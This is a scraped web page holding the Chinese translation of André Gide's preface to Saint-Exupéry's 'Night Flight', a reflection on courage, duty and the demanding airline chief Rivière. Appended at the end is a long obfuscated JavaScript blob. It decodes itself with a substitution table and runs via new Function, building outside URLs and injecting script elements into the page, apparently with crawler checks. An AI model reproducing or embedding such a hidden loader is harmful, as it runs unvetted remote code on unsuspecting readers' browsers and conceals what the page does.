关灯
护眼
字体:

小王子三部曲3 夜间飞行 前言(第1页)

章节目录保存书签

小王子三部曲3:夜间飞行前言

安德烈·纪德

《夜间飞行》,这是一本有关航空运输业跟其他交通工具拼速度的书。诚如这本书中令人敬佩的灵魂人物里维埃所言:“对我们来说,这是一个攸关生计的问题,白天赶超火车或船舶的距离,到了夜晚,就丧失殆尽。”夜间飞行服务,最初饱受严厉批评,历经本书中所描述的那段危险草创期后,总算受到认可,乃至于后来终于成为一种方便的服务。然而,原本就危机四伏的航线,处处布满令人摸不透的惊奇风险,夜间飞行,黑夜更增添了航程的凶险神秘。如此高深莫测,乃至于直到今日风险依然存在,不过,我在此得连忙补充一句,如今风险正在逐日减少中,每个新航程都让下个航程更加便利,更令人心安。但是,航空,诚如对未知大地进行勘探,却历经过一段初创的英雄时期,《夜间飞行》正是描绘了其中一位空中先驱者的悲壮冒险,自然而然就带有史诗笔调。

我喜欢圣-埃克苏佩里的第一本书《南方信件》,但是更喜欢这本。他在《南方信件》中,以一种无比精确的方式来书写飞行员的回忆,夹杂扣人心弦的感情故事,让读者得以接近主人公。啊!温柔得无以复加!我们感觉得到他就是个凡夫俗子,如此脆弱,不堪一击。《夜间飞行》中的主人公,当然,圣-埃克苏佩里并没有将他非人化,而是更臻于一种超乎人性的美德。这个感动人心的故事,最令我喜欢的部分就是个中的高贵情操。脆弱、放弃、人的失误等等,毋庸我在此赘言,今日文学唯一最擅长的莫过于揭露上述种种;殊不知,仰仗坚强意志超越自我,这才是文学最需要向我们展现的。

在我看来,《夜间飞行》中比飞行员身影更令人惊讶的是飞行员的上司,里维埃这号人物。这位仁兄不单只是一个人行动而已,他更进一步让别人也采取行动,他将自己的美德灌注到手下的飞行员身上,强制他们将这种美德发挥到极致,迫使他们完成壮举。他那无情的裁决不容脆弱,一丝一毫的缺失都得受他惩罚。一上来,他那严格的措施,有可能看起来过分严厉,非常不合乎人性。其实里维埃想千锤百炼的对象是不完美,他一点儿都不是针对人。作者透过这种描绘,展现出他对追求极致何等钦佩,我们全都感受到了。我尤其欣赏圣-埃克苏佩里为自相矛盾的真理做出澄清,对我来说,这种悖论在心理层面占有相当重要的地位,那就是:人的幸福不在于自由,而在于承担责任。这本书里的每个人物都如此热忱,无不全心奉献在自己该做的事情上,奉献在这个危险的任务上,唯有完成任务,才能高枕无忧,幸福快乐。我们也依稀看出里维埃绝非冷漠无感(没有什么比他接待失踪飞行员妻子的那段叙述更令人感动的了),但他的勇气却一点儿也没有因而减少,他照样对飞行员发号施令,要他们彻底执行。

“只要发挥恻隐之心,”他这么说道,“大家就会喜欢你。我才不同情他们,就算同情,我也藏在心底,不表现出来——有时候我对自己的力量也感到很惊讶。”他又说:“爱你的属下,但是不要告诉他们。”

这也是因为里维埃受责任感支配,“隐约感觉到有一种义务,比情爱还更伟大”。人所追求自身的一切都会死,人,受到服从与牺牲主导——对某样我不知道是什么的东西服从与牺牲——而且根深蒂固,就在人身上。而我喜欢在《夜间飞行》中找到的这种“晦暗感”,让我的普罗米修斯[52]说话自相矛盾的这种感觉,“我爱的不是人,我爱的是吞噬人者”。所有英雄主义就是源自于此,“若说人命无价,”里维埃心想,“我们却每每表现出好像有某样东西的价值是超出人命的……但,那是什么东西呢?”还有,“所以说,或许有别的东西存在,别的有待挽救、更为永续的东西;或许,里维埃所努力拯救的正是人的这个部分。”毫无疑问,绝对是。

而值此英雄主义概念在军队趋于式微的时刻,因为化学家已经邀请我们预见过未来战争的恐怖,所以男子气概有可能在明日战争中持续失业,但是,我们可不是看到了,勇气在航空业里尽情发挥,既令人钦佩又非常有用吗?勇气不见得只存在于军旅中。一直都冒着生命危险的飞行员,他们有权对我们通常所谓的“勇气”一笑置之。圣-埃克苏佩里很久以前写过一封信,他允许我在此引用;这封信可以追溯到当年圣-埃克苏佩里负责卡萨布兰卡到达喀尔飞航任务,某次飞经毛里塔尼亚上空:

“我不知道什么时候才能回家,这几个月来我有好多事要做——寻找失踪战友,帮助落入敌营的飞机脱困,而且还在达喀尔上空飞了几趟负责运送邮件。

“我刚立下了一个小小的汗马功劳:跟十一个摩尔人和一名技工在一起度过两天两夜,拯救了一架飞机。话说当时情势危急,状况频传,有生以来,我第一次听到子弹从我头上呼啸而过。我终于知道自己处于枪林弹雨中会怎么样:比摩尔人更淡定。但我也明白了一件一直都令我讶异的事:为什么柏拉图(还是亚里士多德?)认为勇气是所有美德中最敬陪末座的。因为勇气不是由美好情操所形成的,而是些许愤怒,些许虚荣,和非常多的固执;勇气还是一种粗鲁的运动快感,尤其是体力方面的亢奋,殊不知勇气其实跟体力完全无关。一个人敞开衬衫,抱臂胸前,呼吸起来好不畅快。这还挺不赖的。但要是这个人在夜间这么做,他就会有自己铸下愚蠢大错的感觉。莽夫永远不会是我钦佩的人。”

我可以为圣-埃克苏佩里这段话献上一句题词,这是我从昆顿[53]书中摘录下来的一句箴言(我对昆顿佩服得五体投地):

就跟爱一样,我们也隐藏勇敢。

甚至还有更好的:

勇敢的人隐藏自己的行为,诚实的人施舍自己的行为。勇者加以掩饰或者借故推托。

圣-埃克苏佩里想告诉我们的,其实就是“知道自己在做什么”。工作人员频繁迎战同一种危险,赋予《夜间飞行》这本书一种原汁原味的独特风味。我们看过许多战争纪实小说或者虚构的冒险故事,作者有时候会表现得天马行空,但真正的冒险家或斗士阅读这些书的时候,却会笑出声来。我除了很欣赏《夜间飞行》在叙事上的文学价值外,也很佩服它的文献价值,这两大优点,如此出人意表地联结在一起,赋予《夜间飞行》绝无仅有的重要性。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();